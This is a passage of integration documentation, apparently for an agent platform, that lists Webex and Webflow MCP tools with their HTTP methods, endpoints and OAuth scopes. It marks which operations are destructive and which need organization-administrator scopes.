webex_get_webhooks (read) — List all of your webhooks. GET /api/v1/webex/webhooks. Scopes: spark:webhooks_read. webex_get_webhooks_by_webhookid (read) — Shows details for a webhook, by ID. Specify the webhook ID in the `webhookId` parameter in the URI. GET /api/v1/webex/webhooks/{webhookId}. Scopes: spark:webhooks_read. webex_patch_admin_meeting_config_commonsettings (write) — Site administrators can use this API to update the option of features, options and privileges that are configured for their WebEx service sites. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. PATCH /api/v1/webex/admin/meeting/config/commonSettings. Scopes: none. webex_patch_group_meetings_by_meetingid (write) — Patches details for a group meeting with a specified meeting ID by a service app which has group meeting access. This operation applies to meeting series and scheduled meetings. It doesn't apply to ended or in-progress meeting instances. Ad-hoc meetings created by [Create a Meeting](/docs/api/v1/mee. `personId` is required here: Webex accepts either `personId` or a `hostEmail` request header, and this integration sends no headers. GROUP ADMINISTRATOR ONLY: Webex documents this operation for meeting:group_meeting_read/write, which this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. PATCH /api/v1/webex/group/meetings/{meetingId}. Scopes: none. webex_patch_meetings_by_meetingid (write) — <div> <Callout type="warning">If only guests are waiting in the lobby and the host or cohost has not started the meeting, the meeting state remains `inProgress` for 5 minutes after the last guest leaves. The meeting cannot be patched during this time. If the meeting is started by the host or cohost. PATCH /api/v1/webex/meetings/{meetingId}. Scopes: meeting:schedules_write. webex_patch_videomesh_eventthresholds (write) — Updates an existing event threshold configuration for given Event Threshold IDs. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. PATCH /api/v1/webex/videoMesh/eventThresholds. Scopes: none. webex_post_admin_meeting_config_trackingcodes (write) — Create a new tracking code by an admin user. * The `siteUrl` is required. The operation creates a tracking code for the specified site. All or a user's available Webex sites can be retrieved by the Get Site List (/docs/api/v1/meeting-preferences/get-site-list) API. * The `inputMode` of `hostProfi. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. POST /api/v1/webex/admin/meeting/config/trackingCodes. Scopes: none. webex_post_admin_meetingpreferences_personalmeetingroom_refreshid (write) — Refreshes personal room IDs automatically according to the current personal room ID rule of the target site or by the values specified by the admin user. The new personal room IDs are generated by the site's settings automatically if `systemGenerated` is true; otherwise, replace the existing person. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. POST /api/v1/webex/admin/meetingPreferences/personalMeetingRoom/refreshId. Scopes: none. webex_post_admin_recordings_query (write) — Queries recordings for an admin or compliance officer with filters in the request body. You can specify a date range, a parent meeting ID, the maximum number of recordings to return, and additional filters such as siteUrl, integrationTag, topic, format, serviceType, and status. The list returned is. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. POST /api/v1/webex/admin/recordings/query. Scopes: none. webex_post_attachment_actions (write) — Create a new attachment action. POST /api/v1/webex/attachment/actions. Scopes: spark:messages_write. webex_post_group_meetings_controls (write) — Update meeting recording control status by a service app which has group meeting access. The service app can use this API to start, stop, pause, or resume meeting recording by providing an `action` value. The `personId` parameter or `hostEmail` header of the person to whom the meeting belongs must b. GROUP ADMINISTRATOR ONLY: Webex documents this operation for meeting:group_meeting_read/write, which this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. POST /api/v1/webex/group/meetings/controls. Scopes: none. webex_post_meetinginvitees (write) — * Invite a person to attend a meeting. * Identify the invitee in the request body, by email address. * The `sendEmail` parameter is `true` by default and the meeting emails will be sent to the invitee's `email`. Please set `sendEmail` to `false` to prevent the invitee from receiving emails. POST /api/v1/webex/meetingInvitees. Scopes: meeting:schedules_write. webex_post_meetinginvitees_bulkinsert (write) — * Invite people to attend a meeting in bulk. * Identify each invitee by the email address of each item in the `items` of the request body. * Each invitee should have a unique `email`. * This API limits the maximum size of `items` in the request body to 100. * The `sendEmail` parameter for each i. POST /api/v1/webex/meetingInvitees/bulkInsert. Scopes: meeting:schedules_write. webex_post_meetingparticipants_admit (write) — Admit multiple participants to a meeting in progress. This API limits the maximum size of `items` in the request body to 100. Each `participantId` of `items` in the request body should have the same prefix of `meetingId`. POST /api/v1/webex/meetingParticipants/admit. Scopes: meeting:participants_write. webex_post_meetingparticipants_callout (write) — Initiate a call to a SIP participant to join a meeting. If a user invoking the API is not a Service App (/docs/service-apps), the user must join the meeting before invoking the API. If a user is a Service App (/docs/service-apps), the service app can invoke the API without joining the meeting. In. POST /api/v1/webex/meetingParticipants/callout. Scopes: meeting:participants_write. webex_post_meetingparticipants_cancelcallout (write) — Cancel the call to a SIP participant before the ringing on the invited SIP device stops. The ringing on the invited SIP device stops in 30 seconds if there is no response. If a user invoking the API is not a Service App (/docs/service-apps), the user must join the meeting before invoking the API. POST /api/v1/webex/meetingParticipants/cancelCallout. Scopes: meeting:participants_write. webex_post_meetingparticipants_query (write) — Query participants in a live meeting, or after the meeting, using participant's email. The `meetingId` parameter is the unique identifier for the meeting and is required. The authenticated user calling this API must either have an Administrator role with the `meeting:admin_participants_read` scope,. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. POST /api/v1/webex/meetingParticipants/query. Scopes: none. webex_post_meetingpreferences_schedulingoptions_delegateemails_delete (write, destructive) — Delete delegate emails for the authenticated user. Deletes the authenticated user's delegate emails. POST /api/v1/webex/meetingPreferences/schedulingOptions/delegateEmails/delete. Scopes: meeting:preferences_write. webex_post_meetingpreferences_schedulingoptions_delegateemails_insert (write) — Insert delegate emails for the authenticated user. POST /api/v1/webex/meetingPreferences/schedulingOptions/delegateEmails/insert. Scopes: meeting:preferences_write. webex_post_meetings (write) — Creates a new meeting. Regular users can schedule up to 100 meetings in 24 hours and admin users up to 3000 overall or 800 for a single user. Please note that the failed requests are also counted toward the limits. * The `spark:all` scope is required when `roomId` is specified. * If the parameter. POST /api/v1/webex/meetings. Scopes: meeting:schedules_write. webex_post_meetings_by_meetingid_end (write) — Ends a meeting with a specified meeting ID. This operation applies to meeting series, scheduled meetings, and in-progress meetings. Only the meeting host, cohost, or compliance officer can end a meeting with this API. * If the `meetingId` value specified is for a scheduled meeting, the operation en. POST /api/v1/webex/meetings/{meetingId}/end. Scopes: meeting:schedules_write. webex_post_meetings_by_meetingid_interpreters (write) — Assign an interpreter to a bi-directional simultaneous interpretation language channel for a meeting. POST /api/v1/webex/meetings/{meetingId}/interpreters. Scopes: meeting:schedules_write. webex_post_meetings_by_meetingid_invitationsources (write) — Creates one or more invitation sources for a meeting. POST /api/v1/webex/meetings/{meetingId}/invitationSources. Scopes: meeting:schedules_write. webex_post_meetings_by_meetingid_registrants (write) — Register a new registrant for a meeting. When a meeting or webinar is created, this API can only be used if Registration is checked on the page or the registration attribute is specified through the Create a Meeting (/docs/api/v1/meetings/create-a-meeting) API. POST /api/v1/webex/meetings/{meetingId}/registrants. Scopes: meeting:schedules_write. webex_post_meetings_by_meetingid_registrants_approve (write) — Batch approve a set of registrants for a meeting by the meeting host or cohost. POST /api/v1/webex/meetings/{meetingId}/registrants/approve. Scopes: meeting:schedules_write. webex_post_meetings_by_meetingid_registrants_bulkdelete (write, destructive) — Batch delete a set of registrants for a meeting by the meeting host or cohost. Batch DELETES meeting registrants; the registrations are gone, not cancelled (webex_post_meetings_by_meetingid_registrants_cancel is the reversible one). POST /api/v1/webex/meetings/{meetingId}/registrants/bulkDelete. Scopes: meeting:schedules_write. webex_post_meetings_by_meetingid_registrants_bulkinsert (write) — Bulk register new registrants for a meeting. When a meeting or webinar is created, this API can only be used if Registration is checked on the page or the registration attribute is specified through the Create a Meeting (/docs/api/v1/meetings/create-a-meeting) API. POST /api/v1/webex/meetings/{meetingId}/registrants/bulkInsert. Scopes: meeting:schedules_write. webex_post_meetings_by_meetingid_registrants_cancel (write) — Batch cancel a set of registrants for a meeting by the meeting host or cohost. POST /api/v1/webex/meetings/{meetingId}/registrants/cancel. Scopes: meeting:schedules_write. webex_post_meetings_by_meetingid_registrants_query (write) — Meeting's host and cohost can query the list of registrants for a meeting with a specified meeting ID and registrants email. POST /api/v1/webex/meetings/{meetingId}/registrants/query. Scopes: meeting:schedules_write. webex_post_meetings_by_meetingid_registrants_reject (write) — Batch reject a set of registrants for a meeting by the meeting host or cohost. POST /api/v1/webex/meetings/{meetingId}/registrants/reject. Scopes: meeting:schedules_write. webex_post_meetings_by_meetingid_surveylinks (write) — Get survey links of a meeting for different users. Request Header: * `timezone`: Time zone for the `meetingStartTimeFrom` and `meetingStartTimeTo` parameters and defined in conformance with the IANA time zone database (https://www.iana.org/time-zones). The default value is `UTC` if not specif. POST /api/v1/webex/meetings/{meetingId}/surveyLinks. Scopes: meeting:schedules_write. webex_post_meetings_join (write) — Retrieves links for a meeting with a specified `meetingId`, `meetingNumber`, or `webLink` that allow users to start or join the meeting directly without logging in and entering a password. * Please note that `meetingId`, `meetingNumber` and `webLink` are mutually exclusive and they cannot be specif. POST /api/v1/webex/meetings/join. Scopes: meeting:schedules_read. webex_post_meetings_reassignhost (write) — Reassigns a list of meetings to a new host by an admin user. All the meetings of `meetingIds` should belong to the same site, which is the `siteUrl` in the request header, if specified, or the admin user's preferred site, if not specified. All available Webex sites and the preferred sites of a user. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. POST /api/v1/webex/meetings/reassignHost. Scopes: none. webex_post_memberships (write) — Add someone to a room by Person ID or email address, optionally making them a moderator. Compliance Officers cannot add people to empty (team) spaces. POST /api/v1/webex/memberships. Scopes: spark:memberships_write. webex_post_messages (write) — Post a plain text or rich text (/docs/basics#formatting-messages) message, and optionally, a file attachment (/docs/basics#message-attachments) attachment, to a room. The `files` parameter is an array, which accepts multiple values to allow for future expansion, but currently only one file may be. POST /api/v1/webex/messages. Scopes: spark:messages_write. webex_post_people (write) — Create a new user account for a given organization. Only an admin can create a new user account. At least one of the following body parameters is required to create a new user: `displayName`, `firstName`, `lastName`. Currently, users may have only one email address associated with their account. T. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. POST /api/v1/webex/people. Scopes: none. webex_post_recordings_accesslist (write) — Share or unshare a recording with other users by recording link and email addresses. POST /api/v1/webex/recordings/accessList. Scopes: meeting:recordings_write. webex_post_recordings_by_recordingid_accesslist (write) — Share or unshare a recording with other users by recording ID and email addresses. POST /api/v1/webex/recordings/{recordingId}/accessList. Scopes: meeting:recordings_write. webex_post_recordings_purge (write, destructive) — Purge recordings from recycle bin with recording IDs or purge all the recordings that are in the recycle bin. Only recordings of meetings hosted by the authenticated user can be purged from recycle bin. * If `purgeAll` is `true`, `recordingIds` should be empty. * If `purgeAll` is `false`, `record. PERMANENT AND IRREVERSIBLE: purges recordings from the recycle bin, and with `purgeAll` true it empties the whole bin. POST /api/v1/webex/recordings/purge. Scopes: meeting:recordings_write. webex_post_recordings_query (write) — Queries recordings with filters in the request body. You can specify a date range, a parent meeting ID, the maximum number of recordings to return, and additional filters such as siteUrl, integrationTag, hostEmail, topic, format, serviceType, and status. Only recordings of meetings hosted by or sha. POST /api/v1/webex/recordings/query. Scopes: meeting:recordings_read. webex_post_recordings_restore (write) — Restore all or some recordings from the recycle bin. Only recordings of meetings hosted by the authenticated user can be restored from recycle bin. * If `restoreAll` is `true`, `recordingIds` should be empty. * If `restoreAll` is `false`, `recordingIds` should not be empty and its maximum size is. POST /api/v1/webex/recordings/restore. Scopes: meeting:recordings_write. webex_post_recordings_softdelete (write, destructive) — Move recordings into the recycle bin with recording IDs. Recordings in the recycle bin can be recovered by Restore Recordings from Recycle Bin (/docs/api/v1/recordings/restore-recordings-from-recycle-bin) API. If you'd like to empty recordings from the recycle bin, you can use... Removes recordings the same way DELETE /recordings/{recordingId} does; they go to the recycle bin and are recoverable only until it is purged. POST /api/v1/webex/recordings/softDelete. Scopes: meeting:recordings_write. webex_post_room_linkedfolders (write) — Adds an existing ECM folder to a room as (default or reference) file storage. There is no data validation happening for the request. Please ensure the correct `driveId` and `itemId.` These can be collected from the MS Graph API. The `contentUrl` and `displayName` are used only for user convenience. POST /api/v1/webex/room/linkedFolders. Scopes: spark:rooms_write. webex_post_room_tabs (write) — Add a tab with a specified URL to a room. POST /api/v1/webex/room/tabs. Scopes: spark:rooms_write. webex_post_rooms (write) — Creates a room. The authenticated user is automatically added as a member of the room. See the Memberships API (/docs/api/v1/memberships) to learn how to add more people to the room. To create a 1:1 room, use the Create Messages (/docs/api/v1/messages/create-a-message) endpoint to send a message. POST /api/v1/webex/rooms. Scopes: spark:rooms_write. webex_post_team_memberships (write) — Add someone to a team by Person ID or email address, optionally making them a moderator. POST /api/v1/webex/team/memberships. Scopes: spark:team_memberships_write. webex_post_teams (write) — Creates a team. The authenticated user is automatically added as a member of the team. See the Team Memberships API (/docs/api/v1/team-memberships) to learn how to add more people to the team. POST /api/v1/webex/teams. Scopes: spark:teams_write. webex_post_videomesh_eventthresholds_reset (write) — Resets the existing event threshold configuration for given Event Threshold IDs to default value. To stop receiving webhook events, use the Webhooks API (docs/api/v1/webhooks) to delete the webhook in question. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. POST /api/v1/webex/videoMesh/eventThresholds/reset. Scopes: none. webex_post_videomesh_triggertest_clusters_by_clusterid (write) — Triggers an on-demand test for a cluster. The test is run on a maximum of 10 nodes present in the cluster, chosen at random, or based on input from the user. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. POST /api/v1/webex/videoMesh/triggerTest/clusters/{clusterId}. Scopes: none. webex_post_videomesh_triggertest_nodes_by_nodeid (write) — Triggers an on-demand test for a node. ORGANIZATION ADMINISTRATOR ONLY: the Video Mesh Developer APIs are, in Cisco's words, for organization admins, and need a spark-admin scope this integration does not request. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. POST /api/v1/webex/videoMesh/triggerTest/nodes/{nodeId}. Scopes: none. webex_post_webhooks (write) — Creates a webhook. To learn more about how to create and use webhooks, see The Webhooks Guide (/docs/api/guides/webhooks). POST /api/v1/webex/webhooks. Scopes: spark:webhooks_write. webex_put_admin_meeting_config_trackingcodes_by_trackingcodeid (write) — Updates details for a tracking code by an admin user. * The `siteUrl` is required. The operation updates a tracking code for the specified site. All of a user's available Webex sites can be retrieved by the Get Site List (/docs/api/v1/meeting-preferences/get-site-list) API. * The `inputMode` of `. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. PUT /api/v1/webex/admin/meeting/config/trackingCodes/{trackingCodeId}. Scopes: none. webex_put_admin_meeting_userconfig_sessiontypes (write) — Assign session types to specific users. * At least one of the following body parameters is required to update a specific user session type: `personId`, `email`. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. PUT /api/v1/webex/admin/meeting/userconfig/sessionTypes. Scopes: none. webex_put_admin_meeting_userconfig_trackingcodes (write) — Updates tracking codes for a specified user by an admin user. * The `siteUrl` is required. The operation updates a user's tracking code on the specified site. All a user's available Webex sites can be retrieved by the Get Site List (/docs/api/v1/meeting-preferences/get-site-list) API. Please note. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation for a meeting:admin_* or spark-compliance scope, neither of which this integration requests. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. PUT /api/v1/webex/admin/meeting/userconfig/trackingCodes. Scopes: none. webex_put_meetinginvitees_by_meetinginviteeid (write) — Update details for a meeting invitee identified by a `meetingInviteeId` in the URI. PUT /api/v1/webex/meetingInvitees/{meetingInviteeId}. Scopes: meeting:schedules_write. webex_put_meetingparticipants_by_participantid (write) — Mute, un-mute, expel, or admit a participant in a live meeting. The `participantId` is required to identify the meeting and the participant. Notes: * The owner of the OAuth token calling this API needs to be the meeting host or co-host. * The `expel` attribute always takes precedence over `admit`. PUT /api/v1/webex/meetingParticipants/{participantId}. Scopes: meeting:participants_write. webex_put_meetingpreferences_audio (write) — Updates audio options for the authenticated user. PUT /api/v1/webex/meetingPreferences/audio. Scopes: meeting:preferences_write. webex_put_meetingpreferences_personalmeetingroom (write) — Updates Personal Meeting Room options for the authenticated user. PUT /api/v1/webex/meetingPreferences/personalMeetingRoom. Scopes: meeting:preferences_write. webex_put_meetingpreferences_schedulingoptions (write) — Updates scheduling options for the authenticated user. * If `delegateEmails` is null or not specified, the user's delegate emails are not changed. If `delegateEmails` is specified and not empty, the user's delegate emails are updated with the specified emails. If `delegateEmails` is specified as an. PUT /api/v1/webex/meetingPreferences/schedulingOptions. Scopes: meeting:preferences_write. webex_put_meetingpreferences_sites (write) — Updates the default site for the authenticated user. PUT /api/v1/webex/meetingPreferences/sites. Scopes: meeting:preferences_write. webex_put_meetingpreferences_video (write) — Updates video options for the authenticated user. PUT /api/v1/webex/meetingPreferences/video. Scopes: meeting:preferences_write. webex_put_meetings_by_meetingid (write) — <div> <Callout type="warning">The PUT method is still supported and behaves the same as before, will be deprecated in the future. Use the PATCH method instead.</Callout> </div> <div> <Callout type="warning">If only guests are waiting in the lobby and the host or cohost has not started the meeting,. PUT /api/v1/webex/meetings/{meetingId}. Scopes: meeting:schedules_write. webex_put_meetings_by_meetingid_breakoutsessions (write) — Updates breakout sessions of a meeting with a specified meeting ID in the pre-meeting state. This operation applies to meeting series and scheduled meetings. PUT /api/v1/webex/meetings/{meetingId}/breakoutSessions. Scopes: meeting:schedules_write. webex_put_meetings_by_meetingid_interpreters_by_interpreterid (write) — Updates details for a meeting interpreter identified by `meetingId` and `interpreterId` in the URI. PUT /api/v1/webex/meetings/{meetingId}/interpreters/{interpreterId}. Scopes: meeting:schedules_write. webex_put_meetings_by_meetingid_registration (write) — Enable or update a registration form for a meeting. PUT /api/v1/webex/meetings/{meetingId}/registration. Scopes: meeting:schedules_write. webex_put_meetings_by_meetingid_simultaneousinterpretation (write) — Updates simultaneous interpretation options of a meeting with a specified meeting ID. This operation applies to meeting series and scheduled meetings. It doesn't apply to ended or in-progress meeting instances. PUT /api/v1/webex/meetings/{meetingId}/simultaneousInterpretation. Scopes: meeting:schedules_write. webex_put_meetings_controls (write) — To start, pause, resume, or stop a meeting recording; To lock or unlock an on-going meeting. PUT /api/v1/webex/meetings/controls. Scopes: meeting:controls_write. webex_put_meetingtranscripts_by_transcriptid_snippets_by_snippetid (write) — Updates details for a transcript snippet specified by `snippetId` from the meeting transcript specified by `transcriptId`. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. PUT /api/v1/webex/meetingTranscripts/{transcriptId}/snippets/{snippetId}. Scopes: none. webex_put_memberships_by_membershipid (write) — Updates properties for a membership by ID. Specify the membership ID in the `membershipId` URI parameter. PUT /api/v1/webex/memberships/{membershipId}. Scopes: spark:memberships_write. webex_put_messages_by_messageid (write) — Update a message you have posted not more than 10 times. Specify the `messageId` of the message you want to edit. Edits of messages containing files or attachments are not currently supported. If a user attempts to edit a message containing files or attachments a `400 Bad Request` will be returned. PUT /api/v1/webex/messages/{messageId}. Scopes: spark:messages_write. webex_put_people_by_personid (write) — Update details for a person, by ID. Specify the person ID in the `personId` parameter in the URI. Only an admin can update a person details. Include all details for the person. This action expects all user details to be present in the request. A common approach is to first... `showAllTypes` must be `true` when removing a meeting-site attendee privilege. ORGANIZATION ADMINISTRATOR OR COMPLIANCE OFFICER ONLY: Webex documents this operation only for scopes this integration does not request (spark-admin:*, spark-compliance:* or meeting:admin_*), which are org-wide and need an organization administrator or compliance officer to consent. An organization that registers its own Webex integration can enable those scopes on it and then use this tool. PUT /api/v1/webex/people/{personId}. Scopes: none. webex_put_room_linkedfolders_by_id (write) — Updates the configuration of the specified Room folder. There is no data validation happening for the request. Please ensure the correct `driveId` and `itemId.` These can be collected from the MS Graph API. The `contentUrl` and `displayName` are used only for user convenience. The folder will be con. PUT /api/v1/webex/room/linkedFolders/{id}. Scopes: spark:rooms_write. webex_put_room_tabs_by_id (write) — Updates the content URL of the specified Room Tab ID. PUT /api/v1/webex/room/tabs/{id}. Scopes: spark:rooms_write. webex_put_rooms_by_roomid (write) — Updates details for a room, by ID. Specify the room ID in the `roomId` parameter in the URI. A space can only be put into announcement mode when it is locked. Any space participant or compliance officer can convert a space from public to private. Only a compliance officer can convert a space from p. PUT /api/v1/webex/rooms/{roomId}. Scopes: spark:rooms_write. webex_put_team_memberships_by_membershipid (write) — Updates a team membership, by ID. Specify the team membership ID in the `membershipId` URI parameter. PUT /api/v1/webex/team/memberships/{membershipId}. Scopes: spark:team_memberships_write. webex_put_teams_by_teamid (write) — Updates details for a team, by ID. Specify the team ID in the `teamId` parameter in the URI. PUT /api/v1/webex/teams/{teamId}. Scopes: spark:teams_write. webex_put_webhooks_by_webhookid (write) — Updates a webhook, by ID. You cannot use this call to deactivate a webhook, only to activate a webhook that was auto deactivated. The fields that can be updated are `name`, `targetURL`, `secret` and `status`. All other fields, if supplied, are ignored. Specify the webhook ID in the `webhookId` para. PUT /api/v1/webex/webhooks/{webhookId}. Scopes: spark:webhooks_write. ================================================================================ ## Webflow URL: https://www.agenticfabriq.com/integrations/webflow Section: Integrated Tools Webflow — 126 MCP tools Provider key: webflow. Scopes: assets:read, assets:write, authorized_user:read, cms:read, cms:write, comments:read, comments:write, components:read, components:write, custom_code:read, custom_code:write, ecommerce:read, ecommerce:write, forms:read, forms:write, pages:read, pages:write, site_activity:read, site_config:read, site_config:write, sites:read, sites:write, workspace_activity:read. Connect: BYO — your org admin registers the OAuth app, then your end user signs in to their account through it (POST /api/v1/apps/{app_id}/external-users/{uid}/oauth/{provider}/initiate, redirect to oauth_url); API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. webflow_delete_assets_by_asset_id (write, destructive) — Delete Asset. Delete an Asset Required Scope: assets: write. DELETE /v2/assets/{asset_id} DELETE /api/v1/webflow/assets/{asset_id}. Scopes: assets:write. webflow_delete_collections_by_collection_id (write, destructive) — Delete Collection. Delete a collection using its ID. DELETE /v2/collections/{collection_id} DELETE /api/v1/webflow/collections/{collection_id}. Scopes: cms:write. webflow_delete_collections_by_collection_id_fields_by_field_id (write, destructive) — Delete Collection Field. Delete a custom field in a collection. This endpoint does not currently support bulk deletion. DELETE /v2/collections/{collection_id}/fields/{field_id} DELETE /api/v1/webflow/collections/{collection_id}/fields/{field_id}. Scopes: cms:write. webflow_delete_collections_by_collection_id_items (write, destructive) — Delete Collection Items. Delete Items from a Collection. DELETE /v2/collections/{collection_id}/items DELETE /api/v1/webflow/collections/{collection_id}/items. Scopes: cms:write. webflow_delete_collections_by_collection_id_items_by_item_id (write, destructive) — Delete Collection Item. Delete an item from a collection. DELETE /v2/collections/{collection_id}/items/{item_id} DELETE /api/v1/webflow/collections/{collection_id}/items/{item_id}. Scopes: cms:write. webflow_delete_collections_by_collection_id_items_by_item_id_live (write, destructive) — Unpublish Live Collection Item. Unpublish a live item from the site and set the isDraft property to true. For bulk unpublishing, please use this endpoint. DELETE /v2/collections/{collection_id}/items/{item_id}/live DELETE /api/v1/webflow/collections/{collection_id}/items/{item_id}/live. Scopes: cms:write. webflow_delete_collections_by_collection_id_items_live (write, destructive) — Unpublish Live Collection Items. Unpublish up to 100 items from the live site and set the isDraft property to true. DELETE /v2/collections/{collection_id}/items/live DELETE /api/v1/webflow/collections/{collection_id}/items/live. Scopes: cms:write. webflow_delete_form_submissions_by_form_submission_id (write, destructive) — Delete Form Submission. Delete a form submission. DELETE /v2/form_submissions/{form_submission_id} DELETE /api/v1/webflow/form_submissions/{form_submission_id}. Scopes: forms:write. webflow_delete_pages_by_page_id_custom_code (write, destructive) — Delete Custom Code. Remove all scripts from a page applied by the App. This endpoint will not remove scripts from the site's registered scripts. DELETE /v2/pages/{page_id}/custom_code DELETE /api/v1/webflow/pages/{page_id}/custom_code. Scopes: custom_code:write. webflow_delete_sites_by_site_id (write, destructive) — Delete Site. Delete a site. DELETE /v2/sites/{site_id} DELETE /api/v1/webflow/sites/{site_id}. Scopes: sites:write. webflow_delete_sites_by_site_id_custom_code (write, destructive) — Delete Custom Code. Remove all scripts from a site applied by the App. This endpoint will not remove scripts from the site's registered scripts. DELETE /v2/sites/{site_id}/custom_code DELETE /api/v1/webflow/sites/{site_id}/custom_code. Scopes: custom_code:write. webflow_delete_sites_by_site_id_custom_fonts_by_font_id (write, destructive) — Delete custom font. Delete a custom font from a site. DELETE /v2/sites/{site_id}/custom_fonts/{font_id} DELETE /api/v1/webflow/sites/{site_id}/custom_fonts/{font_id}. Scopes: sites:write. webflow_delete_sites_by_site_id_form_submissions_by_form_submission_id (write, destructive) — Delete Form Submission by Site. Delete a form submission within a specific site. DELETE /v2/sites/{site_id}/form_submissions/{form_submission_id} DELETE /api/v1/webflow/sites/{site_id}/form_submissions/{form_submission_id}. Scopes: forms:write. webflow_delete_sites_by_site_id_integrations_google_tags (write, destructive) — Delete Google Tags. Delete all Google Tag IDs from a site. Required scope: sites:write. DELETE /v2/sites/{site_id}/integrations/google_tags DELETE /api/v1/webflow/sites/{site_id}/integrations/google_tags. Scopes: sites:write. webflow_delete_sites_by_site_id_integrations_google_tags_by_tag_id (write, destructive) — Delete Google Tag. Delete a single Google Tag ID from a site. The order values of the remaining tags are renormalized after deletion. Required scope: sites:write. DELETE /v2/sites/{site_id}/integrations/google_tags/{tag_id} DELETE /api/v1/webflow/sites/{site_id}/integrations/google_tags/{tag_id}. Scopes: sites:write. webflow_delete_sites_by_site_id_redirects_by_redirect_id (write, destructive) — Delete 301 redirects. Remove a 301 redirection rule from a site. DELETE /v2/sites/{site_id}/redirects/{redirect_id} DELETE /api/v1/webflow/sites/{site_id}/redirects/{redirect_id}. Scopes: sites:write. webflow_delete_sites_by_site_id_robots_txt (write, destructive) — Delete robots.txt. Remove specific rules for a user-agent in your robots.txt file. To delete all rules for a user-agent, provide an empty rule set. DELETE /v2/sites/{site_id}/robots_txt DELETE /api/v1/webflow/sites/{site_id}/robots_txt. Scopes: site_config:write. webflow_delete_sites_by_site_id_well_known (write, destructive) — Delete a well-known file. Delete existing well-known files from a site. Required scope: site_config:write. DELETE /v2/sites/{site_id}/well_known DELETE /api/v1/webflow/sites/{site_id}/well_known. Scopes: site_config:write. webflow_delete_webhooks_by_webhook_id (write, destructive) — Remove Webhook. Remove a Webhook Required scope: sites:read. DELETE /v2/webhooks/{webhook_id} DELETE /api/v1/webflow/webhooks/{webhook_id}. Scopes: none. webflow_get_asset_folders_by_asset_folder_id (read) — Get Asset Folder. Get details about a specific Asset Folder. GET /v2/asset_folders/{asset_folder_id} GET /api/v1/webflow/asset_folders/{asset_folder_id}. Scopes: assets:read. webflow_get_assets_by_asset_id (read) — Get Asset. Get details about an asset. GET /v2/assets/{asset_id} GET /api/v1/webflow/assets/{asset_id}. Scopes: assets:read. webflow_get_collections_by_collection_id (read) — Get Collection Details. Get the full details of a collection from its ID. GET /v2/collections/{collection_id} GET /api/v1/webflow/collections/{collection_id}. Scopes: cms:read. webflow_get_collections_by_collection_id_items (read) — List Collection Items. List of all Items within a Collection. GET /v2/collections/{collection_id}/items GET /api/v1/webflow/collections/{collection_id}/items. Scopes: cms:read. webflow_get_collections_by_collection_id_items_by_item_id (read) — Get Collection Item. Get details of a selected Collection Item. GET /v2/collections/{collection_id}/items/{item_id} GET /api/v1/webflow/collections/{collection_id}/items/{item_id}. Scopes: cms:read. webflow_get_collections_by_collection_id_items_by_item_id_live (read) — Get Live Collection Item. Get details of a selected Collection live Item. GET /v2/collections/{collection_id}/items/{item_id}/live GET /api/v1/webflow/collections/{collection_id}/items/{item_id}/live. Scopes: cms:read. 